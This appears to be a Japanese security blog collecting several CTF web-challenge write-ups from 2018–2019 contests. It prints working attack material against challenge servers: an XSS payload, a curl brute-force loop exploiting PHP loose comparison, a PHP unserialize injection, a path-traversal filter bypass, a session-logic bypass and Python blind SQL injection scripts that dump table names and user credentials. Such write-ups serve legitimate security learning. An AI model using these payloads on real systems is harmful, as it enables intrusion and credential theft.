web

CBM CTF 2019 writeup Long road

Long road

(45 points, solved by 114)

Description: website is at http://cbmctf2019.cf:5000

提示されたURLにアクセスするとcoolボタンが設置されたページが表示されます。coolボタンをクリックすると連続的にページがリダイレクトされます。その中のcool9のリクエストにフラグがあります。

1

フラグは、
cbmctf{tracking_redirects!!}
です。



Midnight Sun CTF 2019 Quals writeup Marcodowno

Marcodownoweb

Points: 115

Solves: 136

Someone told me to use a lib, but real developers rock regex one-liners.
settings Service: http://marcodowno-01.play.midnightsunctf.se:3001
Author: avlidienbrunn is available for questions in forum#midnightsun @ freenode 
Status: Online, last check at 2019-04-06 06:47:05 UTC
入力値を以下のjavascriptで置換して出力しています。
function markdown(text){
  text = text.replace(/[<]/g, '')
             .replace(/----/g,'<hr>')
             .replace(/> ?([^\n]+)/g, '<blockquote>$1</blockquote>')
             .replace(/\*\*([^*]+)\*\*/g, '<b>$1</b>')
             .replace(/__([^_]+)__/g, '<b>$1</b>')
             .replace(/\*([^\s][^*]+)\*/g, '<i>$1</i>')
             .replace(/\* ([^*]+)/g, '<li>$1</li>')
             .replace(/##### ([^#\n]+)/g, '<h5>$1</h5>')
             .replace(/#### ([^#\n]+)/g, '<h4>$1</h4>')
             .replace(/### ([^#\n]+)/g, '<h3>$1</h3>')
             .replace(/## ([^#\n]+)/g, '<h2>$1</h2>')
             .replace(/# ([^#\n]+)/g, '<h1>$1</h1>')
             .replace(/(?<!\()(https?:\/\/[a-zA-Z0-9./?#-]+)/g, '<a href="$1">$1</a>')
             .replace(/!\[([^\]]+)\]\((https?:\/\/[a-zA-Z0-9./?#]+)\)/g, '<img src="$2" alt="$1"/>')
             .replace(/(?<!!)\[([^\]]+)\]\((https?:\/\/[a-zA-Z0-9./?#-]+)\)/g, '<a href="$2">$1</a>')
             .replace(/`([^`]+)`/g, '<code>$1</code>')
             .replace(/```([^`]+)```/g, '<code>$1</code>')
             .replace(/\n/g, "<br>");
  return text;
}
markdownでimgタグのalt属性に該当する部分がそのまま出力されるためこれを利用してXSSを起こします。
inputの入力値を
![" onerror=alert(1) "](http://www)
とすると下図のようにフラグが表示されます。

1

フラグは、
midnight{wh0_n33ds_libs_wh3n_U_g0t_reg3x?}

Teaser CONFidence CTF 2019 writeup My admin panel

web warmup

My admin panel

Points: 77
Solves: 74

I think I've found something interesting, but I'm not really a PHP expert. Do you think it's exploitable?

URLにアクセスすると下図のページが表示されます。

1

login.php.bakファイルをダウンロードすると次のようになっています。cookieにotadmin変数をセットする必要があります。jsonの形式でhashにMD5の値を設定します。
<?php

include '../func.php';
include '../config.php';

if (!$_COOKIE['otadmin']) {
    exit("Not authenticated.\n");
}

if (!preg_match('/^{"hash": [0-9A-Z\"]+}$/', $_COOKIE['otadmin'])) {
    echo "COOKIE TAMPERING xD IM A SECURITY EXPERT\n";
    exit();
}

$session_data = json_decode($_COOKIE['otadmin'], true);

if ($session_data === NULL) { echo "COOKIE TAMPERING xD IM A SECURITY EXPERT\n"; exit(); }

if ($session_data['hash'] != strtoupper(MD5($cfg_pass))) {
    echo("I CAN EVEN GIVE YOU A HINT XD \n");

    for ($i = 0; i < strlen(MD5('xDdddddd')); i++) {
        echo(ord(MD5($cfg_pass)[$i]) & 0xC0);
    }

    exit("\n");
}

display_admin();
cookieに{"hash": "0123456789ABCDEF"}をセットしてアクセスしてみます。下図のようにヒントが表示されます。
2
0xC0とANDを取ると0~9のときは0が出力され、A~Fのときは64(0x40)が出力されます。また、PHPの!=の比較演算子の場合、数値と比較すると文字列が数値に変換されて比較されます。ヒントの頭3桁が000であるので0~999の数値をcookieにセットすることで一致させることができそうです。
以上を実行するシェルスクリプトを書きます
for i in `seq 0 999`
do
    echo $i
    out=`curl gameserver.zajebistyc.tf/admin/login.php -b "otadmin={\"hash\": $i"}`
    echo $out
    if [ "`echo $out | grep p4{`" ]; then break; fi
done
実行すると389のときにフラグが表示されます。
0
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100    78    0    78    0     0    120      0 --:--:-- --:--:-- --:--:--   120
I CAN EVEN GIVE YOU A HINT XD 0006464640640064000646464640006400640640646400
(略)
389
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100    58    0    58    0     0    160      0 --:--:-- --:--:-- --:--:--   160
Congratulations! p4{wtf_php_comparisons_how_do_they_work}
フラグは、
p4{wtf_php_comparisons_how_do_they_work}
です。



35C3 CTF writeup php

  • Solves: 165
  • PHP's unserialization mechanism can be exceptional. Guest challenge by jvoisin.

    Files at https://35c3ctf.ccc.ac/uploads/php-ff2d1f97076ff25c5d0858616c26fac7.tar. Challenge running at: nc 35.242.207.13 1


提示されたファイルは以下のようなphpのプログラムです。
<?php

$line = trim(fgets(STDIN));

$flag = file_get_contents('/flag');

class B {
  function __destruct() {
    global $flag;
    echo $flag;
  }
}

$a = @unserialize($line);

throw new Exception('Well that was unexpected…');

echo $a;
unserialize()関数に細工したデータを渡して__destruct()関数を呼び出しできればフラグが表示されそうです。

http://www.1x1.jp/blog/2010/11/php_unserialize_do_not_call_destruct.html

こちらの記事によると、デシリアライズしたインスタンスの参照が0になったタイミングで__destruct()関数が実行されるそうです。
したがって次のようにデータを渡してみます。
>nc.exe 35.242.207.13 1
O:1:"B":1
35C3_php_is_fun_php_is_fun
PHP Fatal error:  Uncaught Exception: Well that was unexpected… in /home/user/php.php:16
Stack trace:
#0 {main}
  thrown in /home/user/php.php on line 16
フラグは、
35C3_php_is_fun_php_is_fun
です。



Pragyan CTF 2018 writeup El33t Articles Hub

El33t Articles Hub (200pts)

 1 hour, 50 minutes, 28 seconds remaining
Are you a person interested in reading articles on hacking? You’ve come to the right place, check out our brand new website for article-reading enthusiasts.

The portal is running on 128.199.224.175:22000
提示されたURLhttp://128.199.224.175:22000/にアクセスします。下図のようなページが表示されます。

1

このとき、Chromeのデベロッパーツールを確認すると、下図のようにfavicon.phpにアクセスしていることが確認できます。

2

favicon.phpのパラメータidに適当な値を指定してみると次のようにエラーメッセージが表示されます。
http://128.199.224.175:22000/favicon.php?id=a

4

faviconsフォルダから拡張子png、ico、phpのファイルを読み込んでいることがわかります。これを利用して各phpファイルを読み出して見ます。
まず、favicon.phpを読み出します。
http://128.199.224.175:22000/favicon.php?id=../favicon

3

favicon.phpの内容は以下のとおりです。
<?php

error_reporting(0);

$fav_id = !empty($_GET['id']) ? $_GET['id'] : '1';

header("Content-Type: image/x-icon"); 
header("Pragma-directive: no-cache");
header("Cache-directive: no-cache");
header("Cache-control: no-cache");
header("Cache-Control: no-store");
header("Pragma: no-cache");
header("Expires: 0");


$favicon = $fav_id;
$filepath = "./favicons/".$favicon;


if(file_exists($filepath . ".png")) {
    $favicon = $filepath . ".png";
}
else if (file_exists($filepath . ".php")) {
    $favicon = $filepath . ".php";
}
else if (file_exists($filepath . ".ico")) {
    $favicon = $filepath . ".ico";
}
else {
    $err_msg = "No files named '$filepath.png', '$filepath.ico'  or '$filepath.php' found ";
    echo $err_msg;
    die();
}


if(!file_exists($favicon)) {
    echo "File '$filepath' does not exist";
    die();
}

readfile($favicon); 

?>
次に、index.phpを読み出してみます。
http://128.199.224.175:22000/favicon.php?id=../index
index.phpは次のような内容です。
<!DOCTYPE html>
<html>
  <head>

  <?php
    $favicon_id = mt_rand(1,7);
    echo "<link rel='shortcut icon' href='favicon.php?id=$favicon_id' type='image/x-icon'>";
  ?>

    <meta charset="UTF-8">
    <title>El33t Articles Hub</title>

  <link rel="stylesheet" href="css/bootstrap.min.css">
  <style type="text/css">
      #container {
        background-color: #fcf3cf   ;
        width: 60%;
        border: 1px solid grey;
        padding: 10px;
        margin: auto;
        margin-top: 10px;
        margin-bottom: 30px;
      }

      #container p {
        padding: 10px;
        font-size: 16px;
      }

      #header {
        height: 100px;
        margin: 20px;
        text-align: center;
        font-size: 24px;
      }

      body {
        background-color:  #f9e79f  ;
      }

  </style>

  </head>

  <body>

  <div id='header'>
        <b><u> El33t Articles Hub </u> </b>
  </div>

    <div id='container'>
    <?php
        error_reporting(0);
        require "fetch.php";
        require "helpers.php";

        $filename = !empty($_GET['file']) ? $_GET['file'] : "";

        if($filename !== "") {

            $filename = sanitize($filename);
            $file_contents = read_article($filename);
            echo "<p>";
            echo $file_contents;
            echo "</p>";
        }
        else {
            $files = scandir('./articles');
            echo "<ul>";
            foreach($files as $i) {
                $temp = new SplFileInfo($i);
                $ext = $temp->getExtension();
                if($ext !== "txt")
                    continue;
                $t = explode(".txt", $i)[0];
                echo "<li><h4><a href='?file=$t'> $t </a> </h4></li>";
            }
            echo "</ul>";
        }

    ?>

    </div>
    <center>
        <p> Copywrite &copy; El33t Articles Hub </p>
    </center>
  </body>

</html>
次にindex.phpに記載のあるfetch.php、helper.phpをそれぞれ読み出してみます。
http://128.199.224.175:22000/favicon.php?id=../fetch
http://128.199.224.175:22000/favicon.php?id=../helper

helper.phpの内容は下記のとおりです。secret/flag_7258689d608c0e2e6a90c33c44409f9d.txtファイルを読み出せればよさそうです。
<?php

function article_not_found($name) {
    echo "<br><center>";
    echo "File \"$name\" not found !!";
    echo "</center>";
    die();
}

function sanitize($filename) {

    $evil_chars = array("php:", "secret/flag_7258689d608c0e2e6a90c33c44409f9d");
    foreach ($evil_chars as $value) {
        if( strpos($filename, $value) !== false) {
            echo "You naughty cheat !!<br>";
            die();
        }
    }

    // Sanitize input file name
    $bad_chars = array("./", "../");
    foreach ($bad_chars as $value) {
        $filename = str_replace($value, "", $filename);
    }

    $temp = new SplFileInfo($filename);
    $ext = $temp->getExtension();

    if( $ext !== "txt") {
        $filename = $filename.".txt";
    }

    return $filename;

}

?>
まず、入力値のチェック処理を回避するためにsecret/とflag~の間に./をはさみます。また、./と../が取り除かれることを考慮すると、次のようなURLになります。
http://128.199.224.175:22000/?file=.....///secret/./flag_7258689d608c0e2e6a90c33c44409f9d
アクセスすると次のページが表示されます。

5

フラグは、
pctf{1h3-v41id41i0n_SuCk3d~r34l-baD}
です。



Pragyan CTF 2018 writeup Authenticate your way to admin

Authenticate your way to admin (150pts)

 1 day, 22 hours, 58 minutes, 20 seconds remaining
Owen had created an authentication system which lets users login with their email-id or their team name. But that’s not fun is it? Logging in as the admin beats it all, so there’s your challenge.

The portal is running at 128.199.224.175:23000

Note: Use your Pragyan CTF credentials to login to the web portal.

 login.php 
1f069e7e0b8016a80632bc76a4226b8b

 homepage.php 
113dea31f23d8a774e12336cde0a4f1f
問題で提示されたURLhttp://128.199.224.175:23000/にアクセスします。下図のようなページが表示されます。

1

homepage.phpのソースは下記のようになっています。最初にcheck_login()でログイン状態かどうかチェックしています。$idが”admin”で$id_typeが”team_name”のときにhomepage.phpにアクセスするとフラグを取得できそうです。$idはcheck_login()のあとにセッション変数$_SESSION['id']から取得しています。
<?php

session_start();

require "helpers.php";

if(! check_login())
    redirect($LOGIN_URL);

$id_type = $_SESSION['id_type'];
$id = $_SESSION['id'];

?>

<!DOCTYPE html>
<html>
<head>
    <title>Homepage</title>
</head>
<body style='background-color: #d6eaf8'>

<p style="float: right">
<a href='/logout.php'> Logout </a>
</p>
<p style="clear: both"></p>

<p style='height:30px; width:100%;'> </p>

<center>
    
<h2> Welcome User !! </h2>
<br><br>

<h3>
<?php
if($id_type === 'email') {
    echo "Email :- ".$id;
}
elseif ($id_type === 'team_name') 
{
    echo "Team Name :- ".$id ;
}
?>
</h3>
<br><br>

<h4>
Here's a random funny saying for you :) <br>
</h4>
<br><br>

<?php
    require "sayings.php";
    printf(get_random_saying());
    echo "<br><br>";
    if($id === 'admin' && $id_type === 'team_name')
        printf(output_flag());
?>

</center>

</body>
</html>
次にlogin.phpのソースは下記のようになっています。verify_teamname_password()でパスワードをチェックして合っていればセッション変数$_SESSION['logged_in']にtrueをセットしています。
<?php

session_start();

require "helpers.php";

$type = $_POST['id_type'];
$identifier = $_POST['identifier'];
$password = $_POST['password'];
$_SESSION['id'] = $identifier;

if($type === 'team_name') {
    $team_name = $identifier;
    $_SESSION['id_type'] = 'team_name';

    if(verify_teamname_password($team_name, $password) === true) {
        $_SESSION['logged_in'] = true;
        redirect('/homepage.php');
    }
    else {
        die("Invalid Team Name-Password combination !!");
    }
}
elseif ($type === 'email') {
    $email = $identifier;
    $_SESSION['id_type'] = 'email';

    if(verify_email_password($email, $password) === true) {
        $_SESSION['logged_in'] = true;
        redirect('/homepage.php');
    }
    else {
        die("Invalid Email-Password combination !!");
    }
}

?>
パスワードが違っていた場合、セッション変数$_SESSION['id']にidがセットされますが、$_SESSION['logged_in']がクリアされないため、一度自分のID/PWでログインし、次にadminで適当なパスワードでログインすると、$_SESSION['id']="admin"、$_SESSION['logged_in']="true”の状態になります。この状態でhomepage.phpに直接アクセスすると、下図のとおりフラグが取得できます。

2

フラグは、
pctf{4u1h3ntic4Ti0n.4nd~4u1horiz4ti0n_diff3r}
です。

WEB+DB PRESS Vol.103
西村 宗晃
技術評論社
2018-02-24


Pragyan CTF 2018 writeup Animal attack

Animal attack (200pts)

 47 minutes, 14 seconds remaining
Animals have taken over our world and a specific team of animal spies have taken the role of leading the entire army of animals. We humans have formed a group of rebels who have taken it up as a mission to find the main users of the animal spies and find the admin of that group. The admin, with his username and password can launch a powerful attack on the humans. Help the human rebels group get the world back from the animals.

The portal is available at :- http://128.199.224.175:24000/
問題に提示されたURLにアクセスします。次のようなページが表示されます。

1

検索テキストに”0”を入力して検索すると次のように検索結果が0件になります。

2

また、そのときの送信データをChromeのデベロッパーツールで見てみると、Base64でエンコードされて送信されているようです。

3

次に、”0' or 1=1 #”で検索してみると次のように検索結果が返ってきます。

4

したがって、SQLインジェクションの脆弱性があることがわかります。また、”#”でSQLコメントできていることからDBMSがMySQLであることもわかります。

次に、UNIONインジェクションができるかどうか試してみますが、次のような結果が返ってきて”UNION”というキーワードがチェックされているようです。

5

そこで、ブラインドSQLインジェクションによりデータベースに存在するテーブル、カラムを調べてみます。
MySQLでは”information_schema”データベースにスキーマの定義情報が保存されています。”columns”テーブルを参照することで定義されているテーブル名、カラム名の情報がわかります。
import urllib
import urllib2
import base64

url = 'http://128.199.224.175:24000/'
table = ''
sql = "0' or ord(substr((select group_concat(table_name,':',column_name) from information_schema.columns where table_schema=database()),{},1))>{} #"
for pos in range(1, 200):
for c in range(32, 127):
sqli = sql.format(pos, c)
params = { 'spy_name': base64.b64encode(sqli) }
params = urllib.urlencode(params)
req = urllib2.Request(url)
req.add_header('test', 'application/x-www-form-urlencoded')
req.add_data(params)
res = urllib2.urlopen(req)
r = res.read()
if len(r) < 8000:
table = table + chr(c)
print(table)
break
このPythonスクリプトを実行すると、時間がかかりますが次の結果が得られます。
$ python aaa.py
s
sp
spi
spie
spies
spies:
spies:i
spies:id
(略)
spies:id,spies:name,spies:age,spies:experience,spies:description,users:id,users:username,users:password,users:emal
”users”テーブルが存在し、”username”、”password”というカラムが存在することがわかります。同じ手法で”users”テーブルの情報を取得します。
import urllib
import urllib2
import base64

url = 'http://128.199.224.175:24000/'
table = ''
sql = "0' or ord(substr((select group_concat(username,':',password) from users),{},1))>{} #"
for pos in range(1, 200):
for c in range(32, 127):
sqli = sql.format(pos, c)
params = { 'spy_name': base64.b64encode(sqli) }
params = urllib.urlencode(params)
req = urllib2.Request(url)
req.add_header('test', 'application/x-www-form-urlencoded')
req.add_data(params)
res = urllib2.urlopen(req)
r = res.read()
if len(r) < 8000:
table = table + chr(c)
print(table)
break
実行すると、次の結果を得ることができます。
$ python bbb.py
a
ad
adm
admi
admin
(略)
admin:pctf{L31's~@Ll_h4il-1h3-c4T_Qu33n.?},test:test

フラグは、
pctf{L31's~@Ll_h4il-1h3-c4T_Qu33n.?}
です。



記事検索
ギャラリー
  • TetCTF 2023 NewYearBot
  • UUT CTF writeup Find The Password
  • UUT CTF writeup The Puzzle
  • Hack Zone Tunisia 2019 writeup Microscope
  • Hack Zone Tunisia 2019 writeup Welcome
  • SwampCTF 2019 writeup Brokerboard
  • SwampCTF 2019 writeup Leap of Faith
  • SwampCTF 2019 writeup Last Transmission
  • CBM CTF 2019 writeup Long road
カテゴリー